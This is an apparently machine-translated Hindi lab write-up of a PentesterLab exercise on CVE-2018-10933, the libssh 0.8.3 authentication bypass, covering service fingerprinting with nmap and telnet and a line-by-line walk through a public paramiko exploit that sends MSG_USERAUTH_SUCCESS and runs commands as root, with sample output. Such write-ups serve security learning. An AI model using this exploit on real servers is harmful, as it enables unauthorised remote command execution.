मैं pentesterlab सर्विस पार्सिंग पर लेखों की एक श्रृंखला शुरू कर रहा हूं। दुर्भाग्य से, मेरे पास पाठ्यक्रम का प्रो संस्करण नहीं है, इसलिए मैं केवल मुफ्त कार्यों की सूची तक सीमित हूं। प्रत्येक मामला एक सुरक्षा प्रणाली है जिसमें एक विशिष्ट लक्ष्य प्राप्त करने के लिए शोषण किया जाना चाहिए।

लिब्श ऑस्ट्रल बाईपास

मामले में SSH सेवा के साथ एक होस्ट (वर्चुअल मशीन) शामिल है। SSH प्रमाणीकरण बाईपास के माध्यम से मशीन पर नियंत्रण प्राप्त करने की चुनौती है। कल्पना कीजिए कि हमें नहीं पता कि सर्वर पर कौन सा विशेष रूप से SSH कार्यान्वयन है और हमें कौन सी भेद्यता का दोहन करने की आवश्यकता है।

कैसे पता करें? पहली बात जो मन में आती है वह है- nV नेटवर्क स्कैनर का उपयोग -sV विकल्प के साथ करना:

~$ nmap 192.168.0.89 -p 22 -sV Nmap scan report for 192.168.0.89 Host is up (0.00100s latency). PORT STATE SERVICE VERSION 22/tcp open ssh (protocol 2.0) 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port22-TCP:V=7.60%I=7%D=3/2%Time=5C7A9190%P=x86_64-pc-linux-gnu%r(NULL, SF:16,"SSH-2\.0-libssh_0\.8\.3\r\n");

रिपोर्ट में, nmap रिपोर्ट करता है कि सेवा उसके लिए अज्ञात है। लेकिन सेवा फिंगरप्रिंट को देखने के बाद, हम सर्वर पहचान लाइन देख सकते हैं, जिससे यह स्पष्ट है कि पोर्ट लिबासएच 0.8.3 पर सुन रहा है।

RFC-4253 से कटा हुआ:
कनेक्शन स्थापित होने के तुरंत बाद, क्लाइंट और सर्वर फॉर्म के संदेशों का आदान-प्रदान करते हैं:

SSH-protoversion-softwareversion टिप्पणियाँ

प्रोटोवर्सन क्षेत्र प्रोटोकॉल संस्करण को इंगित करता है। चूंकि SSH का दूसरा संस्करण वर्तमान में प्रासंगिक है, इसलिए फ़ील्ड में "2.0" मान होना चाहिए। सॉफ्टवेयरवॉर्शन फ़ील्ड में प्रोटोकॉल कार्यान्वयन का नाम और संस्करण मुख्य रूप से एक्सटेंशन, संगतता और कार्यान्वयन क्षमताओं का संकेत देने के लिए उपयोग किया जाता है। टिप्पणी क्षेत्र वैकल्पिक है; यह अतिरिक्त जानकारी को इंगित करता है जो उपयोगकर्ता की समस्याओं को हल करने में मदद कर सकता है।

इसी तरह, हम टेलनेट उपयोगिता का उपयोग करके इस लाइन को प्राप्त कर सकते हैं:

 $ telnet 192.168.0.89 22 Trying 192.168.0.89... Connected to 192.168.0.89. Escape character is '^]'. SSH-2.0-libssh_0.8.3 Bye ByeConnection closed by foreign host.

या वायरशर्क के माध्यम से प्राप्त करें:

Google खोज हमें भेद्यता CVE-2018-10933 तक ले जाती है, जो 0.7.6 से 0.8.4 तक LibSSH के संस्करणों को प्रभावित करता है। इसे समझने के लिए, मैं संक्षेप में SSH का उपयोग करके ग्राहक प्रमाणीकरण के बारे में बात करूंगा। कनेक्शन स्थापित होने के बाद, क्लाइंट और सर्वर सत्र कुंजी नामक एक गुप्त पर सहमत होते हैं, जिसका उपयोग सत्र के दौरान एन्क्रिप्शन के लिए किया जाएगा। इसके अलावा, प्रमाणीकरण को कई चरणों में विभाजित किया जा सकता है, जो एन्क्रिप्ट किए गए हैं:

क्लाइंट सर्वर को एक SSH_MSG_USERAUTH_REQUEST संदेश भेजता है जिसमें उपयोगकर्ता नाम, प्रमाणीकरण विधि का नाम और अतिरिक्त फ़ील्ड हैं। सर्वर अनुरोध को स्वीकार कर सकता है या कोड SSH_MSG_USERAUTH_FAILURE के साथ संदेश को अस्वीकार कर सकता है, यदि प्रस्तावित प्रमाणीकरण विधि समर्थित नहीं है।
दूसरा चरण सीधे प्रमाणीकरण विधि पर निर्भर करता है। पासवर्ड प्रमाणीकरण के मामले में, क्लाइंट पहले चरण में पासवर्ड भेजता है, और फिर सर्वर से पुष्टि की प्रतीक्षा करता है। सार्वजनिक कुंजी के साथ प्रमाणीकरण में, सार्वजनिक कुंजी और हस्ताक्षर निजी कुंजी के साथ भेजे जाते हैं। सर्वर यह जाँचता है कि क्या उसके पास ऐसा उपयोगकर्ता है, जिसके पास सार्वजनिक कुंजी है, और क्या हस्ताक्षर की सार्वजनिक कुंजी मेल खाती है ... अभी भी होस्ट द्वारा प्रमाणीकरण की एक विधि है, लेकिन इसका उपयोग शायद ही कभी किया जाता है, सभी प्रमाणीकरण विधियों को RFC-4252 में विस्तार से पढ़ा जा सकता है
तीसरे चरण में, क्लाइंट को सर्वर से प्रमाणीकरण की उम्मीद है। यदि यह प्रमाणीकरण अस्वीकार करता है तो सर्वर SSH_MSG_USERAUTH_SUCSESS कोड के साथ एक संदेश भेजता है।

कोड अनुभाग में एक बग है जो संदेश कोड की जांच करने के लिए जिम्मेदार है जो सर्वर को SSH_MSG_USERAUTH_SUCSESS संदेश प्राप्त करने की अनुमति देता है। इस अंतर का उपयोग करके प्रमाणीकरण प्रक्रिया को बायपास किया जा सकता है।

GitHUb में इस भेद्यता के लिए कई तैयार किए गए कारनामे हैं, इसलिए हम पहिया को सुदृढ़ नहीं करेंगे और इस पर विचार करें (मैं स्क्रिप्ट के लेखक को धन्यवाद देता हूं)।

स्क्रिप्ट SSHv2 प्रोटोकॉल के पैरामिको - पायथन मॉड्यूल (2.7, 3.4+) का उपयोग करते हुए अजगर में लिखा गया है, जो क्लाइंट और सर्वर दोनों की कार्यक्षमता प्रदान करता है। आइए उन कोड अनुभागों का विश्लेषण करें, जिनमें हम रुचि रखते हैं:

 sock = socket.socket() sock.connect((host,int(port)))

यह लाइन एक सॉकेट बनाता है और सर्वर से कनेक्ट होता है। सॉकेट क्या है यह बहुत अच्छी तरह से यहाँ वर्णित है ।

 message = paramiko.message.Message()

यह संदेश वर्ग SSH2 है। यह बाइट्स की एक स्ट्रीम में एकत्रित की गई संख्या और प्रकार के बूल का एक सेट है।

 transport = paramiko.transport.Transport(sock) transport.start_client()

यह वर्ग SSH प्रोटोकॉल के साथ सहभागिता करने का एक साधन है। हम इसे बनाते हैं और तुरंत क्लाइंट मोड में कनेक्ट करते हैं।

 message.add_byte(paramiko.common.cMSG_USERAUTH_SUCCESS) transport._send_message(message)

Paramiko.common.cMSG_USERAUTH_SUCCESS पैरामीटर 52 नंबर है, जिसे एक बाइट में रखा गया है। यह संदेश कोड MSG_USERAUTH_SUCCESS है। हम इस संदेश को सर्वर को भेजते हैं।

 cmd = transport.open_session() cmd.exec_command(command)

हम एक नया चैनल बनाते हैं और तुरंत कमांड भेजते हैं, जिसे कमांड में एक स्ट्रिंग के रूप में लिखा जाता है।

 out=cmd.makefile("rb",222048) output=out.read() out.close() print (output)

मेकफाइल विधि पाइप के चारों ओर एक फ़ाइल आवरण बनाती है। "आरबी" - बाइट एक्सेस मोड, 222048 - बफर आकार पढ़ें। हमारे द्वारा भेजे गए कमांड का परिणाम प्राप्त होता है, जिसे हम प्रिंट () के माध्यम से प्रिंट करते हैं। Out.close () के साथ, हम कनेक्शन समाप्त करते हैं।

यह इस स्क्रिप्ट को चलाने के लिए बना हुआ है, जो पहले से डाउनलोड किए गए और वर्चुअल मशीन चलाने के आईपी पते को इंगित करता है, और वह कमांड जिसे हम अपने शिकार को निष्पादित करना चाहते हैं। मैंने विभिन्न आदेशों को निर्दिष्ट करने की कोशिश की, और यहाँ परिणाम है:

 #   ,     $ ./LibAuth.py --host 192.168.0.89 -c whoami b'root\n' #   $ ./LibAuth.py --host 192.168.0.89 -c date b'Wed Mar 6 22:50:00 UTC 2019\n' #  $ ./LibAuth.py --host 192.168.0.89 -c env b'USER=pentesterlab\nSHLVL=5\nHOME=/\nuser=pentesterlab\nTERM=linux\nBOOT_IMAGE=/boot/vmlinuz\nPATH=/usr/local/sbin:/usr/local/bin:/sbin:/usr/sbin:/bin:/usr/bin\nLANG=C\nSHELL=/bin/sh\ninitrd=/boot/initrd.img\nPWD=/\n'

परिणाम का निष्कर्ष थोड़ा अनाड़ी है, यदि आवश्यक हो, तो आप इसे ठीक कर सकते हैं। लेकिन सामान्य तौर पर - कार्य को पूरा माना जा सकता है।

जारी रखने के लिए ...

हैकर लैब: पी 1। लिब्श ऑस्ट्रल बाईपास

लिब्श ऑस्ट्रल बाईपास

More articles: